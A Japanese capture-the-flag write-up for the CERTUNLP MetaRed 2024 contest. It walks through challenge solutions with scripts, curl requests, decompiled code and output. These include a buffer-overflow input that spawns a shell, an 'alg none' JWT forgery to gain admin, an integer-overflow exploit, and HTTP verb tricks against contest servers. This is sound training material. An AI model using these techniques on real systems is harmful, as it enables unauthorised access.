この大会は2024/11/8 20:00(JST)~2024/11/9 20:00(JST)に開催されました。
今回もチームで参戦。結果は3872点で205チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord 1 (Misc)
Discordに入り、#announcementsチャネルのトピックを見ると、以下のように書いてあり、フラグが見つかった。
Welcome, here we will put announcements related to the capture the flag CERTUNLP - Metared 2024: flag{Open_a_ticket_in_Support_channel_for_help_NO_HINTS!!!}
flag{Open_a_ticket_in_Support_channel_for_help_NO_HINTS!!!}
Trust in my calculator (Misc)
$ nc calculator.ctf.cert.unlp.edu.ar 35003 _______ _______ _________ _______ _______ _______ ______ ( )( ____ \__ __/( ___ )( ____ )( ____ \( __ \ | () () || ( \/ ) ( | ( ) || ( )|| ( \/| ( \ ) | || || || (__ | | | (___) || (____)|| (__ | | ) | | |(_)| || __) | | | ___ || __)| __) | | | | | | | || ( | | | ( ) || (\ ( | ( | | ) | | ) ( || (____/\ | | | ) ( || ) \ \__| (____/\| (__/ ) |/ \|(_______/ )_( |/ \||/ \__/(_______/(______/ Bienvenidos! Resuelvan estas sumas para obtener la flag!: 2941 * 320 Mmmm tardaste mucho amiguito
四則演算の問題に答えていく。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('calculator.ctf.cert.unlp.edu.ar', 35003)) for _ in range(11): data = recvuntil(s, b'\n').rstrip() print(data) for _ in range(20): data = recvuntil(s, b'\n').rstrip() print(data) ans = eval(data) print(ans) s.sendall(str(ans).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
_______ _______ _________ _______ _______ _______ ______
( )( ____ \__ __/( ___ )( ____ )( ____ \( __ \
| () () || ( \/ ) ( | ( ) || ( )|| ( \/| ( \ )
| || || || (__ | | | (___) || (____)|| (__ | | ) |
| |(_)| || __) | | | ___ || __)| __) | | | |
| | | || ( | | | ( ) || (\ ( | ( | | ) |
| ) ( || (____/\ | | | ) ( || ) \ \__| (____/\| (__/ )
|/ \|(_______/ )_( |/ \||/ \__/(_______/(______/
Bienvenidos! Resuelvan estas sumas para obtener la flag!:
4686 + 993
5679
Correcto! A resolver!:
2047 - 446
1601
Correcto! A resolver!:
3838 * 1113
4271694
Correcto! A resolver!:
1577 - 1452
125
Correcto! A resolver!:
1385 + 1857
3242
Correcto! A resolver!:
3136 - 1407
1729
Correcto! A resolver!:
4778 + 657
5435
Correcto! A resolver!:
254 + 652
906
Correcto! A resolver!:
5607 - 1263
4344
Correcto! A resolver!:
2420 * 1711
4140620
Correcto! A resolver!:
5662 + 974
6636
Correcto! A resolver!:
4009 - 842
3167
Correcto! A resolver!:
3302 - 1876
1426
Correcto! A resolver!:
5034 + 1007
6041
Correcto! A resolver!:
5642 - 1480
4162
Correcto! A resolver!:
5021 + 1641
6662
Correcto! A resolver!:
5398 - 768
4630
Correcto! A resolver!:
1243 + 1113
2356
Correcto! A resolver!:
3721 - 1585
2136
Correcto! A resolver!:
5962 + 1574
7536
Correcto! A resolver!:
flag{warm0+0up_now_you_can_try_pwn!}
flag{warm0+0up_now_you_can_try_pwn!}
Read the rules (Misc)
ルールのページのHTMLソースを見ると、スペースと1文字だけのコメントがたくさん入っている。
<!-- y--> <!-- G--> <!-- 0--> <div class="col-md-6 offset-md-3"> <!-- d--> <h1 class="text-center" style="padding: 35px 0px 10px 0px">General Rules 📜</h1> <!-- R--> <!-- N--> <!-- u--> <!-- L--> <!-- 0--> <ul> <!-- L--> <!-- W--> <!-- Q--> <!-- U--> <li>Teams will be formed for the Capture the Flag event, with no limit on the number of members. One member will be designated as the team leader. <li>Participants must register on the platform. <li>Registration will be possible while the competition is open. <!-- 0--> <!-- z--> <!-- N--> <!-- f--> <li>Participants from MetaRed TIC Universities must register with their institutional email address to be eligible for prizes. The email address must be verified by a representative of that University. <li>The CTF competition is an online jeopardy game, accessible from the Internet, lasting for 1 day, <!-- L--> <!-- =--> <!-- y--> starting at 08 Nov 11:00:00 UTC and finishing at 09 Nov 11:00:00 UTC. <!-- t--> <li>Participants that behave inappropriately will be immediately disqualified, including:<ul> <li>Sharing solutions or hints. <li>Attacking computers or applications not designated by the competition. <!-- Z--> <li>Attacking other participants. <!-- x--> <li>General bruteforce attacks over the online platform, resulting in IP banning. <li>Creating duplicate accounts. <li>Disrespecting others on the Discord server, which may lead to disqualification. <li>Any other actions deemed unfair. <!-- w--> <!-- b--> <!-- V--> <!-- M--> <!-- W--> <!-- b--> <!-- F--> <!-- M--> <!-- B--> <!-- h--> <!-- m--> <!-- h--> </ul> <!-- =--> <li>Participants are ranked by score and speed. Score is dynamically defined. <li>No private information will be released to third parties; if a company requires it, we will directly contact you by email. <li>The flag format is <code>flag\{.*}</code> <li>All announcements and communications with challenge creators will be conducted via Discord. Please join our Discord server using the following link: <a href=https://discord.gg/64GpRKF6j9>Discord Server</a> <!-- M--> </ul> <!-- z--> <!-- s--> <!-- M--> <h1 class="text-center" style="padding: 35px 0px 10px 0px">Prizes 🏆</h1> <p>Participation is open to anyone. However, only participants belonging to MetaRed TIC Higher Education <!-- 3--> Institutions will be eligible to receive economic prizes. Participants must prove that they belong to an Ibero-American Higher Education Institution during registration by sending an institutional e-mail. <ul> <li>One prize for the best team in the CTF MetaRed Argentina 2024 competition: 1 (one) prize of 500 USD. <li>One prize for the best team from each country with the highest score in the CTF MetaRed Argentina 2024:<ul> <li>Argentina: 150 USD <li>Brazil: 150 USD <li>Central America and the Caribbean: 150 USD <!-- 1--> <!-- 0--> <!-- D--> <li>Chile: 150 USD <!-- n--> <li>Colombia: 150 USD <li>Ecuador: 150 USD <li>Spain: 150 USD <!-- T--> <!-- z--> <!-- 3--> <!-- 0--> <li>Mexico: 150 USD <li>Perú: 150 USD <li>Portugal: 150 USD <!--Z--> </ul> </ul> <!-- Q--> </div> </div> <!-- z-->
このデータをcode.txtとして保存する。位置をそのままにしてコメント内の文字のみ取り出し、base64デコードする。
#!/usr/bin/env python3 from base64 import * with open('code.txt', 'r') as f: lines = f.read().splitlines() b64_flag = [''] * 100 for line in lines: if line.startswith('<!--'): s = line.lstrip('<!--').rstrip('-->') for i in range(len(s)): if s[i] != ' ': b64_flag[i] = s[i] break b64_flag = ''.join(b64_flag) flag = b64decode(b64_flag).decode() print(flag)
flag{T3xt-Pl41n-c0mm3nt5-4r3-4w3s0m3}
Git 1: Baby (Beginner)
mainの他にブランチ「feature/flag」があるので、これを選択する。コメントにflagというタイトルのものがあり、フラグが書いてあった。
flag{G111t_B4By_N0w_try_Th3_H4rd_StuFf}
HTTP specialist (Beginner)
適当なデータを入力し、Loginすると、以下のメッセージが表示される。
{"error":"Method not allowed. Try using a different method..."}
ログインページにtraceがイタリック体でかかれているので、TRACEメソッドでアクセスしてみる。
$ curl "https://http-verbs.ctf.cert.unlp.edu.ar/login" -X TRACE TRACE received. Here's a hint: User64 -> aHVnbw==, PassD5 -> 482c811da5d5b4bc6d497ffa98491e38 Remember to PUT the correct method to log in!
アカウント情報に関するヒントが取得できたので、割り出す。
$ echo aHVnbw== | base64 -d hugo
482c811da5d5b4bc6d497ffa98491e38をCrackStationでクラックする。
password123
$ curl "https://http-verbs.ctf.cert.unlp.edu.ar/login" -X PUT -d "username=hugo&password=password123" {"flag":"flag{TR4C3_Th3_HttP_V3rbs}"}
flag{TR4C3_Th3_HttP_V3rbs}
Poke 0: Just Want a Totodile (Beginner)
以下のアカウントでログインする。
Username: hoge Password: pass
クッキーのtokenには以下が設定されている。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaG9nZSIsImlzX2FkbWluIjpmYWxzZSwicG9rZW1vbl93aXRoZHJhd24iOmZhbHNlfQ.35RjvztCkI6D2CJs28E0OhaT34Z50fcDv4m-rCMmALY
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d {"alg":"HS256","typ":"JWT"} $ echo eyJ1c2VyIjoiaG9nZSIsImlzX2FkbWluIjpmYWxzZSwicG9rZW1vbl93aXRoZHJhd24iOmZhbHNlfQ== | base64 -d {"user":"hoge","is_admin":false,"pokemon_withdrawn":false} $ echo -n '{"alg":"none","typ":"JWT"}' | base64 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0= $ echo -n '{"user":"admin","is_admin":true,"pokemon_withdrawn":true}' | base64 eyJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwicG9rZW1vbl93aXRoZHJhd24iOnRydWV9
クッキーのtokenに以下を設定し、リロードする。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwicG9rZW1vbl93aXRoZHJhd24iOnRydWV9.
「See Pokémon Data」をクリックすると、Nicknameにフラグが見つかった。
Species: Totodile
Type: Water
Level: 10
Nickname: flag{J5ON_W3b_T0kEn_FTW}
flag{J5ON_W3b_T0kEn_FTW}
Echoes of Wisdom (Beginner)
icmpでフィルタリングすると、data部にフラグが1バイトずつ含まれているので、順に並べる。
flag{ICMP_c0berT_Ch4nN3|}
Packet Pursuit: The Forensic Odyssey (Beginner)
evildomain.comのサブドメインのDNSクエリのサブドメインがbase64文字列になっているので、順にデコードして結合する。
#!/usr/bin/env python3 from base64 import * with open('log.txt', 'r') as f: lines = f.read().splitlines() flag = '' for line in lines: elms = line.split(' ') proto = elms[2] if proto == 'DNS': domain = elms[-1] if domain.endswith('.evildomain.com'): subdomain = domain.split('.')[0] flag += b64decode(subdomain).decode() print(flag)
flag{f0r3ns1c_4rt_0f_exf1ltr4ti0n}
T.E.G. 1: Hide and Seek (Beginner)
ファイル名をパスフレーズとして、steghideで秘密情報を抽出する。
$ steghide extract -sf lipgloss.jpg -p lipgloss wrote extracted data to "flagTeg.txt". $ cat flagTeg.txt flag{5t3g0_1s_fun_wh3n_y0u_f1nd_1t}
flag{5t3g0_1s_fun_wh3n_y0u_f1nd_1t}
Onion login (Beginner)
hintを見ると、以下のように書いてある。
Default credentials.
以下のアカウントでログインする。
Username: admin Password: admin
Round2になり、hintを見ると、以下のように書いてある。
Sometimes the best authentication is no authentication.
Username, Passwordなしでログインする。
$ curl https://onion-login.ctf.cert.unlp.edu.ar/aosidoisajdsajfoiwqueoiwque -d "username=&password=" -v * Host onion-login.ctf.cert.unlp.edu.ar:443 was resolved. * IPv6: (none) * IPv4: 119.8.76.213, 119.8.77.202 * Trying 119.8.76.213:443... * Connected to onion-login.ctf.cert.unlp.edu.ar (119.8.76.213) port 443 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=*.ctf.cert.unlp.edu.ar * start date: Nov 6 12:52:19 2024 GMT * expire date: Feb 4 12:52:18 2025 GMT * subjectAltName: host "onion-login.ctf.cert.unlp.edu.ar" matched cert's "*.ctf.cert.unlp.edu.ar" * issuer: C=US; O=Let's Encrypt; CN=E6 * SSL certificate verify ok. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA384 * Certificate level 1: Public key type EC/secp384r1 (384/192 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 2: Public key type RSA (4096/152 Bits/secBits), signed using sha256WithRSAEncryption * using HTTP/1.x > POST /aosidoisajdsajfoiwqueoiwque HTTP/1.1 > Host: onion-login.ctf.cert.unlp.edu.ar > User-Agent: curl/8.7.1 > Accept: */* > Content-Length: 19 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 19 bytes * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * old SSL session ID is stale, removing < HTTP/1.1 302 FOUND < server: gunicorn < date: Fri, 08 Nov 2024 13:45:49 GMT < content-type: text/html; charset=utf-8 < content-length: 229 < location: /douyouknowaboutitles < <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/douyouknowaboutitles">/douyouknowaboutitles</a>. If not, click the link. * Connection #0 to host onion-login.ctf.cert.unlp.edu.ar left intact
locationが設定されているので、https://onion-login.ctf.cert.unlp.edu.ar/douyouknowaboutitlesにアクセスすると、Round3になり、hintを見ると、以下のように書いてある。
Do you know about HTML?
HTMLソースを見ると以下のコメントが書いてある。
<!-- Do you know about HTTP Headers? -->
$ curl https://onion-login.ctf.cert.unlp.edu.ar/douyouknowaboutitles -v * Host onion-login.ctf.cert.unlp.edu.ar:443 was resolved. * IPv6: (none) * IPv4: 119.8.76.213, 119.8.77.202 * Trying 119.8.76.213:443... : : * using HTTP/1.x > GET /douyouknowaboutitles HTTP/1.1 > Host: onion-login.ctf.cert.unlp.edu.ar > User-Agent: curl/8.7.1 > Accept: */* > * Request completely sent off * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * old SSL session ID is stale, removing < HTTP/1.1 200 OK < server: gunicorn < date: Fri, 08 Nov 2024 13:54:34 GMT < content-type: text/html; charset=utf-8 < content-length: 1368 < x-s3cr3t: Pass: Pokemon ID 006 : : </body> * Connection #0 to host onion-login.ctf.cert.unlp.edu.ar left intact </html>
HTTPヘッダ「x-s3cr3t」に「Pokemon ID 006」と設定されている。ポケモンID #0006を調べると「Charizard」であるとわかり、これをパスワードとしてログインすると、以下のメッセージが表示され、フラグが含まれていた。
Yes, you're right, Charizard is the best! You get this: flag{0n1On_loGin_Down!}
flag{0n1On_loGin_Down!}
Debu... what? (Beginner)
Ghidraでデコンパイルする。
void main(void) { int iVar1; size_t sVar2; long in_FS_OFFSET; char local_21d; uint local_21c; char local_218 [256]; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined8 local_b8; undefined8 local_b0; undefined8 local_a8; undefined8 local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_118 = 0x7b67616c66; local_110 = 0; local_108 = 0; local_100 = 0; local_f8 = 0; local_f0 = 0; local_e8 = 0; local_e0 = 0; local_d8 = 0; local_d0 = 0; local_c8 = 0; local_c0 = 0; local_b8 = 0; local_b0 = 0; local_a8 = 0; local_a0 = 0; local_98 = 0; local_90 = 0; local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; printf("********************************"); puts("\nSafe with 5 alphanumeric locks."); puts("********************************\n"); printf("X X X X X\nEnter the first value of the lock: "); __isoc99_scanf(&DAT_001020ae,&local_21c); snprintf(local_218,0x100,"%d",(ulong)local_21c); concatenate_input(&local_118,local_218); if (local_21c == 0x17) { printf("\nV X X X X\nEnter the second value of the lock: "); __isoc99_scanf(&DAT_001020e8,&local_21c); snprintf(local_218,0x100,"%o",(ulong)local_21c); concatenate_input(&local_118,local_218); if (local_21c == 0x5b) { printf("\nV V X X X\nEnter the third value of the lock: "); __isoc99_scanf(&DAT_0010211f,&local_21c); snprintf(local_218,0x100,"%X",(ulong)local_21c); concatenate_input(&local_118,local_218); if (local_21c == 0xf) { printf("\nV V V X X\nEnter the fourth value of the lock: "); __isoc99_scanf(&DAT_00102158,&local_21d); snprintf(local_218,0x100,"%c",(ulong)(uint)(int)local_21d); concatenate_input(&local_118,local_218); if (local_21d == 'Z') { printf("\nV V V V X\nEnter the fifth value of the lock: "); __isoc99_scanf(&DAT_0010218f,local_218); concatenate_input(&local_118,local_218); iVar1 = strcmp(local_218,"F0x"); if (iVar1 == 0) { sVar2 = strlen((char *)&local_118); *(undefined2 *)((long)&local_118 + sVar2) = 0x7d; printf("\nV V V V V\nOpening safe... "); print_concatenated_input(&local_118); } else { puts("Wrong!"); } } else { puts("Wrong!"); } } else { puts("Wrong!"); } } else { puts("Wrong!"); } } else { puts("Wrong!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void concatenate_input(char *param_1,char *param_2) { size_t sVar1; size_t sVar2; sVar1 = strlen(param_1); sVar2 = strlen(param_2); if (sVar2 + sVar1 + 2 < 0x100) { sVar1 = strlen(param_1); if (5 < sVar1) { sVar1 = strlen(param_1); *(undefined2 *)(param_1 + sVar1) = 0x5f; } strcat(param_1,param_2); } else { puts("Error: concatenated input exceeds maximum length."); } return; }
順に比較している数値を該当する形式で入力していけばよい。
・1回目:0x17の10進数表記 >>> 0x17 23 ・2回目:0x5bの8進数表記 >>> '%o' % 0x5b '133' ・3回目:0x0fの16進数大文字表記 >>> '%X' % 0x0f 'F' ・4回目:'Z' ・5回目:"F0x"
$ ./safe ******************************** Safe with 5 alphanumeric locks. ******************************** X X X X X Enter the first value of the lock: 23 V X X X X Enter the second value of the lock: 133 V V X X X Enter the third value of the lock: F V V V X X Enter the fourth value of the lock: Z V V V V X Enter the fifth value of the lock: F0x V V V V V Opening safe... flag{23_133_F_Z_F0x}
flag{23_133_F_Z_F0x}
Poke 1: No again please (Beginner)
画像の左上から名前とIDを調べる。
01: Exeggcute(#0102) 02: Lickitung(#0108) 03: Hypno(#0097) 04: Exeggutor(#0103) 05: Scyther(#0123) 06: Machamp(#0068) 07: Venonat(#0048) 08: Venonat(#0048) 09: Venonat(#0048) 10: Weezing(#0110) 11: Doduo(#0084) 12: Tentacool(#0072) 13: Meowth(#0052) 14: Horsea(#0116) 15: Dugtrio(#0051) 16: Ponyta(#0077) 17: Dugtrio(#0051) 18: Dugtrio(#0051) 19: Nidorino(#0033) 20: Electabuzz(#0125)
IDをASCIIコードと考え、デコードする。
>>> id = [102, 108, 97, 103, 123, 68, 48, 48, 48, 110, 84, 72, 52, 116, 51, 77, 51, 51, 33, 125]
>>> bytes(id)
b'flag{D000nTH4t3M33!}'
flag{D000nTH4t3M33!}
Warmup (Pwn)
ソースコードが与えられている。
// gcc -Wall -fno-stack-protector -z execstack -no-pie -o reto reto.c #include <unistd.h> #include <sys/types.h> #include <stdlib.h> #include <stdio.h> int main() { int var; int check = 0x12345678; char buf[20]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x12345678) && (check != 0x54524543)) printf ("\nClooosse!\n"); if (check == 0x54524543) { printf("Yeah!! You win!\n"); setreuid(geteuid(), geteuid()); system("/bin/bash"); printf("Byee!\n"); } return 0; }
$ checksec --file=reto [*] '/mnt/hgfs/Shared/reto' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
BOFで任意の28バイトの後、0x54524543(="CERT")で上書きすればよい。
$ nc warmup.ctf.cert.unlp.edu.ar 35000 AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT ls flag.txt run cat flag.txt flag{W3lc0me_To_M3t4R3d-2024!}
flag{W3lc0me_To_M3t4R3d-2024!}
Flag shop (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { __uid_t __euid; __uid_t __ruid; long in_FS_OFFSET; int local_38; int local_34; int local_30; int local_2c; uint local_28; uint local_24; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); local_2c = 0; local_28 = 0x5dc; while (local_2c == 0) { puts("************************************"); puts(" Welcome to the Flag Shop v1.0"); puts("************************************"); puts("[1] View account balance"); puts("[2] Purchase items"); puts("[3] Exit"); printf("Please select an option: "); fflush(stdin); __isoc99_scanf(&DAT_0010209e,&local_38); if (local_38 == 1) { printf("\nYour current balance is: $%d\n\n",(ulong)local_28); } else if (local_38 == 2) { puts("Items for sale:"); puts("[1] Discounted Flag - $1200 each"); puts("[2] Premium Flag - $200000 (only 1 in stock)"); fflush(stdin); __isoc99_scanf(&DAT_0010209e,&local_34); if (local_34 == 1) { puts("How many Discounted Flags would you like to purchase?"); fflush(stdin); __isoc99_scanf(&DAT_0010209e,&local_30); if (0 < local_30) { local_24 = local_30 * 0x4b0; printf("Total cost: $%d\n",(ulong)local_24); if ((int)local_28 < (int)local_24) { puts("Insufficient funds!"); } else { local_28 = local_28 - local_24; printf("Purchase successful! Your new balance is: $%d\n",(ulong)local_28); } } } else if (local_34 == 2) { puts("The Premium Flag costs $200000. Do you wish to purchase it? Enter 1 for yes."); fflush(stdin); __isoc99_scanf(&DAT_0010209e,&local_30); if (local_30 == 1) { if ((int)local_28 < 0x30d41) { puts("You don\'t have enough money for the Premium Flag!"); } else { __euid = geteuid(); __ruid = geteuid(); setreuid(__ruid,__euid); puts("[+] Congratulations!"); printf("Here\'s your flag: "); fflush(stdout); system("/bin/cat flag"); putchar(10); } } } } else if (local_38 == 3) { local_2c = 1; } else { puts("Invalid option, please try again."); } } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
整数オーバーフローを使えば、マイナスから大きいプラスに転じる。
>>> (2147483647 + 1500) / 1200 1789570.9558333333
$ nc challs.ctf.cert.unlp.edu.ar 54544 ************************************ Welcome to the Flag Shop v1.0 ************************************ [1] View account balance [2] Purchase items [3] Exit Please select an option: 1 Your current balance is: $1500 ************************************ Welcome to the Flag Shop v1.0 ************************************ [1] View account balance [2] Purchase items [3] Exit Please select an option: 2 Items for sale: [1] Discounted Flag - $1200 each [2] Premium Flag - $200000 (only 1 in stock) 1 How many Discounted Flags would you like to purchase? 1789571 Total cost: $-2147482096 Purchase successful! Your new balance is: $2147483596 ************************************ Welcome to the Flag Shop v1.0 ************************************ [1] View account balance [2] Purchase items [3] Exit Please select an option: 2 Items for sale: [1] Discounted Flag - $1200 each [2] Premium Flag - $200000 (only 1 in stock) 2 The Premium Flag costs $200000. Do you wish to purchase it? Enter 1 for yes. 1 [+] Congratulations! Here's your flag: flag{YoU_4r3_a_G00d_Bus1ne5Sm$n}
flag{YoU_4r3_a_G00d_Bus1ne5Sm$n}
Baby rev (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; FILE *__stream; undefined8 uVar2; long in_FS_OFFSET; undefined local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); iVar1 = directory_exists("/tmp/superSecretDirectory"); if (iVar1 == 0) { puts("You don\'t meet my expectations, no flag for you!"); } else { iVar1 = file_exists("/tmp/superSecretDirectory/SuperDuperSecretFlag.txt"); if (iVar1 == 0) { puts("You don\'t meet part of my expectations, so no flag."); } else { reveal_flag(local_58,0x40); __stream = fopen("/tmp/superSecretDirectory/SuperDuperSecretFlag.txt","w"); if (__stream == (FILE *)0x0) { perror("I can\'t open the file."); uVar2 = 1; goto LAB_0010146a; } fprintf(__stream,"%s\n",local_58); fclose(__stream); puts("Flag written!"); } } uVar2 = 0; LAB_0010146a: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } void reveal_flag(long param_1,ulong param_2) { ulong local_18; if (param_2 < 0x1d) { fwrite("Buffer too small.\n",1,0x12,stderr); } else { for (local_18 = 0; local_18 < 0x1d; local_18 = local_18 + 1) { *(byte *)(local_18 + param_1) = encrypted_flag[local_18] ^ 0x20; } } return; }
/tmp/superSecretDirectory/SuperDuperSecretFlag.txtが存在している場合、そこにフラグが書き出される。
$ mkdir /tmp/superSecretDirectory $ touch /tmp/superSecretDirectory/SuperDuperSecretFlag.txt $ ./expectations Flag written! $ cat /tmp/superSecretDirectory/SuperDuperSecretFlag.txt flag{H3rE_15_Y0uR_R3ew4rd!!}
flag{H3rE_15_Y0uR_R3ew4rd!!}
Poke 2: Can you defeat Gary? (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; time_t tVar2; tVar2 = time((time_t *)0x0); srand((uint)tVar2); puts(&DAT_00402638); puts("Gary has Sandslash (HP: 95), you have Pikachu (HP: 10)."); puts("\nYou have 1 second for every choice."); LAB_00401ba0: while( true ) { show_main_menu(); iVar1 = get_valid_option(1,4,1); if (iVar1 != 4) break; puts("\nYou can\'t run from this battle!"); } if (iVar1 < 5) { if (iVar1 == 3) { show_items(); iVar1 = get_valid_option(1,7,1); if (((0 < iVar1) && (iVar1 < 7)) && (iVar1 = use_item(iVar1 + -1), iVar1 != 0)) { gary_turn(); } goto LAB_00401ba0; } if (iVar1 < 4) { if (iVar1 == 1) { show_moves(); iVar1 = get_valid_option(1,5,1); if ((0 < iVar1) && (iVar1 < 5)) { pikachu_attack(); if (sandslash_hp < 2) { puts("\nYou\'ve won the battle!"); return 0; } gary_turn(); } } else { if (iVar1 != 2) goto LAB_00401d30; show_pokemons(); iVar1 = get_valid_option(1,6,1); if ((0 < iVar1) && (iVar1 < 6)) { printf("\nYou can\'t switch to %s, it\'s fainted.\n", *(undefined8 *)(fainted_pokemons + (long)(iVar1 + -1) * 8)); } } goto LAB_00401ba0; } } LAB_00401d30: puts("\nInvalid option, try again."); goto LAB_00401ba0; } void pikachu_attack(void) { uint uVar1; int iVar2; iVar2 = rand(); uVar1 = iVar2 % 0x32 + 1; sandslash_hp = sandslash_hp - uVar1; if ((int)sandslash_hp < 1) { sandslash_hp = 1; } printf("\nPikachu used an attack! Sandslash took %d damage. Sandslash HP: %d\n",(ulong)uVar1, (ulong)sandslash_hp); return; } ulong use_item(int param_1) { int iVar1; ulong uVar2; int local_c; printf(&DAT_004023c8,*(undefined8 *)(items + (long)param_1 * 8)); for (local_c = 0; local_c < 5; local_c = local_c + 1) { printf("%d. %s (fainted)\n",(ulong)(local_c + 1), *(undefined8 *)(fainted_pokemons + (long)local_c * 8)); } puts("6. Pikachu"); puts("8. Back"); uVar2 = get_valid_option(1,8,1); iVar1 = (int)uVar2; if (((0 < iVar1) && (iVar1 < 6)) && (uVar2 = (ulong)*(uint *)(fainted + (long)(iVar1 + -1) * 4), *(uint *)(fainted + (long)(iVar1 + -1) * 4) != 0)) { printf("You can\'t use %s on %s, it\'s fainted.\n",*(undefined8 *)(items + (long)param_1 * 8), *(undefined8 *)(fainted_pokemons + (long)(iVar1 + -1) * 8)); return 0; } if (iVar1 == 6) { printf("\nYou used %s on Pikachu.\n",*(undefined8 *)(items + (long)param_1 * 8)); if (param_1 == 0) { pikachu_hp = pikachu_hp + 0x14; if (100 < pikachu_hp) { pikachu_hp = 100; } } else if (param_1 == 2) { pikachu_hp = pikachu_hp + 0x32; if (100 < pikachu_hp) { pikachu_hp = 100; } } else if (param_1 == 3) { pikachu_hp = 100; } else { if ((param_1 == 1) || (param_1 == 5)) { puts("This item has no effect."); return 0; } if (param_1 == 4) { puts("Pikachu is confused. You lose your turn."); } } uVar2 = 1; } else { if ((iVar1 == 7) && (param_1 == 4)) { uVar2 = win(); } if (iVar1 == 7) { printf("You can\'t use %s on Sandslash.\n",*(undefined8 *)(items + (long)param_1 * 8)); uVar2 = 0; } } return uVar2; } void win(void) { printf("\nYou used %s on Sandslash.\n",items._32_8_); puts("Sandslash\'s HP restored to 100..."); sleep(1); puts("Sandslash... feels sleepy... is confused... "); sleep(1); puts("Sandslash fainted"); sleep(0); puts("Ash wins the battle!"); printf(&DAT_00402388); read_flag(); /* WARNING: Subroutine does not return */ exit(0); }
use_item関数で引数に4を指定して、関数内で7を指定したときにwin関数が呼び出される。このためにはmain関数内で3, 5の順に指定すればよい。
$ nc pokemaster.ctf.cert.unlp.edu.ar 35001 3 5 7 You're in a Pokémon battle against Gary to determine the league champion! Gary has Sandslash (HP: 95), you have Pikachu (HP: 10). You have 1 second for every choice. What do you want to do? 1. Attack 2. Change Pokémon 3. Use item 4. Run > Available items: 1. Potion - Restores 20 HP of a Pokémon's health 2. Antidote - Cures the poisoned state 3. Fresh water - Restores 50 HP of a Pokémon's health, don't confuse with the other 4. Max potion - Restores all HP 5. Branco's container - Eh: https://tinyurl.com/4hpeuztv 6. More PP - Adds more PP to a move 7. Back > Which Pokémon do you want to use Branco's container on? 1. Charizard (fainted) 2. Venusaur (fainted) 3. Blastoise (fainted) 4. Butterfree (fainted) 5. Pidgeot (fainted) 6. Pikachu 8. Back > You used Branco's container on Sandslash. Sandslash's HP restored to 100... Sandslash... feels sleepy... is confused... Sandslash fainted Ash wins the battle! You are the best Pokémon trainer ever, you deserve this: flag{Alw4ys_lO0k_foR_Your_1nNer_Bilardo}
flag{Alw4ys_lO0k_foR_Your_1nNer_Bilardo}
Baguette Cipher (Crypto)
